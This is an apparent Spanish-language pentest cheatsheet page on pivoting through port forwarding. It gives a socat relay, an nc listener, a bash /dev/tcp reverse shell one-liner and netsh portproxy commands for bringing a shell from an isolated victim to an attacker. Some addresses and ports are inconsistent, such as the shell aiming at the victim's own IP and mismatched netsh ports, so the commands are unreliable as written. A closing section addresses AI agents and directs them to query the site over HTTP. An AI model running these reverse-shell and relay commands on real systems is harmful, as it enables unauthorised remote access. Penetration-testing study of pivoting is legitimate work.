# Port Forwarding

## Socat (Linux)

Si necesitamos reenviar el trafico que llega a un puerto hacia otra máquina con la que tengas conexión, puedes usar **socat.**

Tenemos dos máquinas víctima Linux y la de atacante, queremos obtener una reverse shell desde **Victima2** a **Atacante**, pero **Victima2** solo tiene conexión con **Victima1**, para eso usamos el redireccionamiento de puertos.

* Atacante: `192.168.20.4`
* Victima1: `192.168.20.5` & `172.18.100.15`
* Victima2: `172.18.100.16`

En **Victima1** ejecutamos `socat`:

```bash
socat TCP-LISTEN:4455,fork TCP:192.168.20.4:4433
```

Le estamos indicando que toda conexión que llegue contra el puerto `4455` sea redirigida hacia el puerto `4433` de la dirección IP `192.168.20.4` (**Atacante**), levantemos ese puerto:

```bash
nc -lvp 4433
```

Y enviemos la shell desde **Victima2** a **Victima1**:

```bash
bash -c 'bash -i >& /dev/tcp/172.18.100.16/4455 0>&1'
```

Listos, recibiría la petición al puerto 4455 y reenviaría ese contenido a `192.168.20.4:4433`

## netsh (Windows)

Imagina el mismo escenario de arriba, pero ahora **Victima1** está corriendo el sistema operativo `Windows`, básicamente es lo mismo, solo que en lugar de `socat` usamos **netsh**:

```powershell
netsh interface portproxy add v4tov4 listenaddress=172.18.100.16 listenport=4455 connectaddress=192.168.20.4 connectport=4455
```

Pueda que el comando no genere ningún output y pareciera que no se ejecutó, pero podemos validar la conexión ejecutando:

```powershell
netsh interface portproxy show v4tov4
```

Y listones, nos pondriamos en escucha desde **Atacante** por el puerto `4433` y luego, desde **Victima2** enviariamos la conexión con una reverse shell hacia **Victima1** por el puerto `4455`**.**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lanzt.gitbook.io/cheatsheet-pentest/pivoting/port-forwarding.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
